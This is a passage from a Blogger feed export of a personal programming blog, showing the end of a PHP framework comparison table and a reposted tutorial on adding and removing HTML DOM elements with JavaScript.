Twitter&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/atk4&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@atk4&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/cakephp&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@cakephp&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/CCF_IO&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@CCF_IO&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/CodeIgniter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@CodeIgniter&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/CodeIgniter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@CodeIgniter&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/phpfatfree&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@phpfatfree&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://twitter.com/fuelphp&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@fuelphp&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/jelixfmk&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@jelixfmk&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://twitter.com/makoframework&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@makoframework&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/mkframework&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@mkframework&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/mouf_php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@mouf_php&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://twitter.com/symfony&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@symfony&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://twitter.com/yiiframework&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;@yiiframework&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_42&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;section&quot; id=&quot;v43_1&quot;&gt;&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v43_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v43_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Your reviews&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v45_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v46_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v47_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v48_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v49_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v50_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v51_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v52_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v53_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v54_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v55_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v56_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v57_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v58_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v59_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v60_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v61_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v62_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v63_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v64_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v65_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v66_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v67_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v68_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v69_43&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v70_43&quot;&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v44_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v44_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v44_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v44_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Simplicity&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4.7em;&quot;&gt;4.7&lt;/b&gt;&lt;/a&gt; 3 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4.5em;&quot;&gt;4.5&lt;/b&gt;&lt;/a&gt; 2 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4.6em;&quot;&gt;4.6&lt;/b&gt;&lt;/a&gt; 8 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4.6em;&quot;&gt;4.6&lt;/b&gt;&lt;/a&gt; 8 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4.8em;&quot;&gt;4.8&lt;/b&gt;&lt;/a&gt; 4 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 4 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 4 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 3 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 5em;&quot;&gt;5.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 3em;&quot;&gt;3.0&lt;/b&gt;&lt;/a&gt; 2 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 4em;&quot;&gt;4.0&lt;/b&gt;&lt;/a&gt; 1 rating&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 3.5em;&quot;&gt;3.5&lt;/b&gt;&lt;/a&gt; 4 ratings&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_44&quot;&gt;&lt;a class=&quot;action scact-56 scStarE&quot; href=&quot;https://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; title=&quot;click to rate this item&quot;&gt;&lt;b style=&quot;width: 0em;&quot;&gt;0&lt;/b&gt;&lt;/a&gt; no rating&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;scCommentsB&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/8646554697361244267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2015/12/php-frameworks-comparison-comparison.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8646554697361244267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8646554697361244267'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2015/12/php-frameworks-comparison-comparison.html' title='PHP frameworks comparison'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-6265387791333640540</id><published>2013-02-08T22:41:00.002-08:00</published><updated>2013-02-08T22:41:10.840-08:00</updated><title type='text'>JavaScript HTML DOM Elements (Nodes)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2&gt;
Creating New HTML Elements&lt;/h2&gt;
To add a new element to the HTML DOM, you must create the element (element node) first, 
and then append it to an existing element. &lt;br /&gt;

&lt;div class=&quot;example&quot;&gt;
&lt;h2 class=&quot;example&quot;&gt;
&amp;nbsp;Example&lt;/h2&gt;
&lt;div class=&quot;example_code notranslate&quot;&gt;
&lt;div id=&quot;div1&quot;&gt;
&lt;br /&gt;
&lt;div id=&quot;p1&quot;&gt;
This is a paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;div id=&quot;p2&quot;&gt;
This is another paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;script&gt;&lt;br&gt;
var para=document.createElement(&quot;p&quot;);&lt;br&gt;
var node=document.createTextNode(&quot;This is new.&quot;);&lt;br&gt;
para.appendChild(node);&lt;br&gt;&lt;br&gt;
 var
element=document.getElementById(&quot;div1&quot;);&lt;br&gt;
element.appendChild(para);&lt;br&gt;
&lt;/script&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a class=&quot;tryitbtn&quot; href=&quot;http://www.w3schools.com/htmldom/tryit.asp?filename=try_elementcreate&quot; target=&quot;_blank&quot;&gt;Try it yourself »&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Example Explained&amp;nbsp;&lt;/h2&gt;
This code creates a new  element:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
var para=document.createElement(&quot;p&quot;);&lt;/div&gt;
&lt;/div&gt;
To add text to the  element, you must create a text node first. This code creates a text node:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
var node=document.createTextNode(&quot;This is a new paragraph.&quot;);&lt;/div&gt;
&lt;/div&gt;
Then you must append the text node to the  element:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
 para.appendChild(node);&lt;/div&gt;
&lt;/div&gt;
Finally you must append the new element to an existing element.&lt;br /&gt;

This code finds an existing element:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
 var
 element=document.getElementById(&quot;div1&quot;);&lt;/div&gt;
&lt;/div&gt;
This code appends the new element to the existing element:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
 element.appendChild(para);&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Removing Existing HTML Elements&lt;/h2&gt;
To remove an HTML element, you must know the parent of the element:&lt;br /&gt;


&lt;div class=&quot;example&quot;&gt;
&lt;h2 class=&quot;example&quot;&gt;
Example&lt;/h2&gt;
&lt;div class=&quot;example_code notranslate&quot;&gt;
&lt;div id=&quot;div1&quot;&gt;
&lt;br /&gt;
&lt;div id=&quot;p1&quot;&gt;
This is a paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;div id=&quot;p2&quot;&gt;
This is another paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;script&gt;&lt;br&gt;
var parent=document.getElementById(&quot;div1&quot;);&lt;br&gt;
var child=document.getElementById(&quot;p1&quot;);&lt;br&gt;
parent.removeChild(child);&lt;br&gt;
&lt;/script&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a class=&quot;tryitbtn&quot; href=&quot;http://www.w3schools.com/htmldom/tryit.asp?filename=try_elementremove&quot; target=&quot;_blank&quot;&gt;Try it yourself »&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Example Explained&amp;nbsp;&lt;/h2&gt;
This HTML document contains a &lt;div&gt;
 element with two child nodes (two  
elements):&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
&lt;div id=&quot;div1&quot;&gt;
&lt;br /&gt;
&lt;div id=&quot;p1&quot;&gt;
This is a paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;div id=&quot;p2&quot;&gt;
This is another paragraph.&lt;/div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
Find the element with id=&quot;div1&quot;:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
var parent=document.getElementById(&quot;div1&quot;);&lt;/div&gt;
&lt;/div&gt;
Find the  element with id=&quot;p1&quot;:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
var child=document.getElementById(&quot;p1&quot;);&lt;/div&gt;
&lt;/div&gt;
Remove the child from the parent:&lt;br /&gt;


&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div&gt;
parent.removeChild(child);&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;table class=&quot;lamp&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;
&lt;th width=&quot;34&quot;&gt;&lt;img alt=&quot;lamp&quot; height=&quot;32&quot; src=&quot;http://www.w3schools.com/images/lamp.jpg&quot; width=&quot;32&quot; /&gt;&lt;/th&gt;
&lt;td&gt;It would be nice to be able to remove an element without referring to the 
parent.&lt;br /&gt;But sorry. The DOM needs to know both the element you want to remove, and 
its parent.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Here is a common workaround: Find the child you want to remove, and use its 
parentNode property to find the parent:&lt;br /&gt;

&lt;div class=&quot;code notranslate&quot;&gt;
&lt;div class=&quot;auto-style1&quot;&gt;
 var child=document.getElementById(&quot;p1&quot;);&lt;br /&gt;child.parentNode.removeChild(child);&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;

&lt;hr /&gt;

&lt;h2&gt;
HTML DOM Tutorial&lt;/h2&gt;
In the HTML DOM section of this JavaScript tutorial you have learned:&lt;br /&gt;

&lt;ul&gt;
&lt;li&gt;How to change the content (innerHTML) of HTML elements&lt;/li&gt;
&lt;li&gt;How to change the style (CSS) of HTML elements&lt;/li&gt;
&lt;li&gt;How to react to HTML DOM events&lt;/li&gt;
&lt;li&gt;How to add or delete HTML elements&lt;/li&gt;
&lt;/ul&gt;
If you want to learn more about using JavaScript to access the HTML DOM, 
please go to our&lt;br /&gt;

&lt;a href=&quot;http://www.w3schools.com/htmldom/default.asp&quot;&gt;Full HTML DOM Tutorial.&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/6265387791333640540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/javascript-html-dom-elements-nodes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/6265387791333640540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/6265387791333640540'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/javascript-html-dom-elements-nodes.html' title='JavaScript HTML DOM Elements (Nodes)'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-3535594310130631195</id><published>2013-02-03T13:25:00.001-08:00</published><updated>2013-02-03T13:25:25.592-08:00</updated><title type='text'>The Newbie’s Guide to Test-Driven Development</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;page_inner&quot;&gt;
&lt;div class=&quot;post post_inner_article&quot;&gt;
